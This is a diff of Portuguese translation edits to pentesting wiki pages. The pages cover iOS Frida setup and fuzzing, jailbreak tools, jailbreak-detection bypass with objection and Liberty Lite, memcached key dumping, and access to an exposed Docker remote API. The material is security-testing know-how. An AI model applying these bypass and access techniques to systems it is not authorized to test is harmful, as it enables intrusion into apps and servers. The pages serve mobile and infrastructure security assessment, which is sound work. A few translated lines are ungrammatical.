Se você estiver usando **Corellium**, precisará baixar a versão do Frida em [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[sua versão]-ios-universal.dylib.gz`) e descompactar e copiar para o local dylib que o Frida solicita, por exemplo: `/Users/[seu usuário]/.cache/frida/gadget-ios.dylib`
|
||||
Se você estiver usando **Corellium**, precisará baixar a versão do Frida de [https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) (`frida-gadget-[sua versão]-ios-universal.dylib.gz`) e descompactar e copiar para o local dylib que o Frida solicita, por exemplo: `/Users/[seu usuário]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
Após a instalação, você pode usar no seu PC o comando **`frida-ls-devices`** e verificar se o dispositivo aparece (seu PC precisa ser capaz de acessá-lo).\
|
||||
Execute também **`frida-ps -Uia`** para verificar os processos em execução do telefone.
|
||||
|
||||
## Frida sem dispositivo Jailbroken e sem patching do aplicativo
|
||||
|
||||
Confira este post no blog sobre como usar o Frida em dispositivos não-jailbroken sem patching do aplicativo: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
Verifique este post no blog sobre como usar o Frida em dispositivos não-jailbroken sem patching do aplicativo: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Instalação do Cliente Frida
|
||||
|
||||
@ -290,7 +290,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
||||
# You can find code coverage and crashes in examples/wg-log/out/
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada payload. Portanto, se o Frida encontrar um **crash**, as **próximas entradas** após esse payload também podem **crashar o aplicativo** (porque o aplicativo está em um estado instável), mesmo que a **entrada não deva crashar** o aplicativo.
|
||||
> Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada payload. Portanto, se o Frida encontrar um **crash**, as **próximas entradas** após esse payload também podem **crashar o aplicativo** (porque o aplicativo está em um estado instável), mesmo que a **entrada não devesse crashar** o aplicativo.
|
||||
>
|
||||
> Além disso, o Frida irá interceptar sinais de exceção do iOS, então quando **o Frida encontrar um crash**, provavelmente **relatórios de crash do iOS não serão gerados**.
|
||||
>
|
||||
|
||||
@ -35,9 +35,9 @@ Para abrir o simulador, execute o Xcode, depois pressione na _aba Xcode_ --> _Op
|
||||
|
||||
.png>)
|
||||
|
||||
### Applications in the Simulator
|
||||
### Aplicativos no Simulador
|
||||
|
||||
Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices`, você pode encontrar todos os **simuladores instalados**. Se você quiser acessar os arquivos de um aplicativo criado dentro de um dos emuladores, pode ser difícil saber **em qual deles o aplicativo está instalado**. Uma maneira rápida de **encontrar o UID correto** é executar o aplicativo no simulador e executar:
|
||||
Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices`, você pode encontrar todos os **simuladores instalados**. Se você quiser acessar os arquivos de um aplicativo criado dentro de um dos emuladores, pode ser difícil saber **em qual um o aplicativo está instalado**. Uma maneira rápida de **encontrar o UID correto** é executar o aplicativo no simulador e executar:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -89,13 +89,13 @@ As atualizações do iOS são controladas por um **mecanismo de desafio-resposta
|
||||
|
||||
### Ferramentas e Recursos de Jailbreaking
|
||||
|
||||
As ferramentas de jailbreaking variam por versão do iOS e dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
|
||||
As ferramentas de jailbreaking variam de acordo com a versão do iOS e o dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
|
||||
|
||||
- [Checkra1n](https://checkra.in/) para dispositivos com chip A7-A11.
|
||||
- [Palera1n](https://palera.in/) para dispositivos Checkm8 (A8-A11) no iOS 15.0-16.5.
|
||||
- [Unc0ver](https://unc0ver.dev/) para versões do iOS até 14.8.
|
||||
|
||||
Modificar seu dispositivo envolve riscos, e o jailbreaking deve ser abordado com cautela.
|
||||
Modificar seu dispositivo traz riscos, e o jailbreaking deve ser abordado com cautela.
|
||||
|
||||
### Benefícios e Riscos do Jailbreaking
|
||||
|
||||
@ -112,7 +112,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
**Vários aplicativos tentarão detectar se o celular está jailbreak e, nesse caso, o aplicativo não será executado**
|
||||
|
||||
- Após o jailbreak, um **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreak.
|
||||
- Após o jailbreak, um iOS **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreak.
|
||||
- Em um dispositivo jailbreak, os aplicativos obtêm **acesso de leitura/gravação a novos arquivos** fora do sandbox.
|
||||
- Algumas **chamadas de API** **comportarão-se de maneira diferente**.
|
||||
- A presença do serviço **OpenSSH**.
|
||||
@ -120,11 +120,11 @@ basic-ios-testing-operations.md
|
||||
|
||||
**Mais informações sobre como detectar jailbreak** [**aqui**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
Você pode tentar evitar essas detecções usando **o `ios jailbreak disable` do objection**
|
||||
Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable`
|
||||
|
||||
## **Bypass de Detecção de Jailbreak**
|
||||
|
||||
- Você pode tentar evitar essas detecções usando **o `ios jailbreak disable` do objection**
|
||||
- Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable`
|
||||
- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Search’
|
||||
|
||||
## Referências
|
||||
|
||||
@ -79,7 +79,7 @@ set mykey 0 60 1
|
||||
1
|
||||
STORED
|
||||
```
|
||||
Executar o comando "stats slabs" após a adição de uma chave gera estatísticas detalhadas sobre a utilização de slabs:
|
||||
Executar o comando "stats slabs" após a adição da chave gera estatísticas detalhadas sobre a utilização de slabs:
|
||||
```bash
|
||||
stats slabs
|
||||
[...]
|
||||
@ -123,19 +123,19 @@ Table [from here](https://lzone.de/blog).
|
||||
| PHP | [simple script](http://snipt.org/xtP) | Imprime nomes de chaves. | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | Imprime chaves e valores | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | Imprime nomes de chaves. | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Ferramenta no módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI de Monitoramento do Memcache que também permite despejar chaves | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | Ferramenta no módulo CPAN | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | GUI de Monitoramento do Memcache que também permite despejar chaves | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **Congela seu processo memcached!!!** Tenha cuidado ao usar isso em produção. Ainda assim, você pode contornar a limitação de 1MB e realmente despejar **todas** as chaves. | | |
|
||||
|
||||
## Troubleshooting <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
### Limite de Dados de 1MB <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
### 1MB Data Limit <a href="#1mb-data-limit" id="1mb-data-limit"></a>
|
||||
|
||||
Observe que antes do memcached 1.4 você não pode armazenar objetos maiores que 1MB devido ao tamanho máximo de slab padrão.
|
||||
Note que antes do memcached 1.4 você não pode armazenar objetos maiores que 1MB devido ao tamanho máximo de slab padrão.
|
||||
|
||||
### Nunca Defina um Timeout > 30 Dias! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
Se você tentar “set” ou “add” uma chave com um timeout maior que o máximo permitido, pode não obter o que espera, pois o memcached trata o valor como um timestamp Unix. Além disso, se o timestamp estiver no passado, não fará nada. Seu comando falhará silenciosamente.
|
||||
Se você tentar “definir” ou “adicionar” uma chave com um timeout maior que o máximo permitido, pode não obter o que espera, pois o memcached trata o valor como um timestamp Unix. Além disso, se o timestamp estiver no passado, não fará nada. Seu comando falhará silenciosamente.
|
||||
|
||||
Portanto, se você quiser usar a vida útil máxima, especifique 2592000. Exemplo:
|
||||
```
|
||||
@ -144,7 +144,7 @@ set my_key 0 2592000 1
|
||||
```
|
||||
### Disappearing Keys on Overflow <a href="#disappearing-keys-on-overflow" id="disappearing-keys-on-overflow"></a>
|
||||
|
||||
Apesar da documentação dizer algo sobre o transbordamento de 64 bits, fazer um valor "incr" faz com que o valor desapareça. Ele precisa ser criado novamente usando "add"/"set".
|
||||
Apesar da documentação mencionar algo sobre o transbordamento de 64 bits, fazer um "incr" faz com que o valor desapareça. Ele precisa ser criado novamente usando "add"/"set".
|
||||
|
||||
### Replication <a href="#replication" id="replication"></a>
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide
|
||||
|
||||
#### Arquitetura básica do docker
|
||||
|
||||
- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**.
|
||||
- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais a fundo**.
|
||||
- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
|
||||
- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
|
||||
- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
|
||||
@ -65,7 +65,7 @@ ctr container delete <containerName>
|
||||
|
||||
**Podman** é um mecanismo de contêiner de código aberto que adere aos [padrões da Open Container Initiative (OCI)](https://github.com/opencontainers), desenvolvido e mantido pela Red Hat. Ele se destaca do Docker com várias características distintas, notavelmente sua **arquitetura sem daemon** e suporte para **contêineres sem root**, permitindo que os usuários executem contêineres sem privilégios de root.
|
||||
|
||||
O Podman foi projetado para ser compatível com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como **Buildah** para construir imagens de contêiner e **Skopeo** para operações de imagem, como push, pull e inspect. Mais detalhes sobre essas ferramentas podem ser encontrados em sua [página do GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
Podman é projetado para ser compatível com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como **Buildah** para construir imagens de contêiner e **Skopeo** para operações de imagem, como push, pull e inspect. Mais detalhes sobre essas ferramentas podem ser encontrados em sua [página do GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
**Principais Diferenças**
|
||||
|
||||
@ -134,7 +134,7 @@ docker-init:
|
||||
Version: 0.18.0
|
||||
GitCommit: fec3683
|
||||
```
|
||||
Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** [**docker** comentados anteriormente](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
|
||||
Se você pode **contatar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos** [**docker comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
|
||||
|
||||
> [!TIP]
|
||||
> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user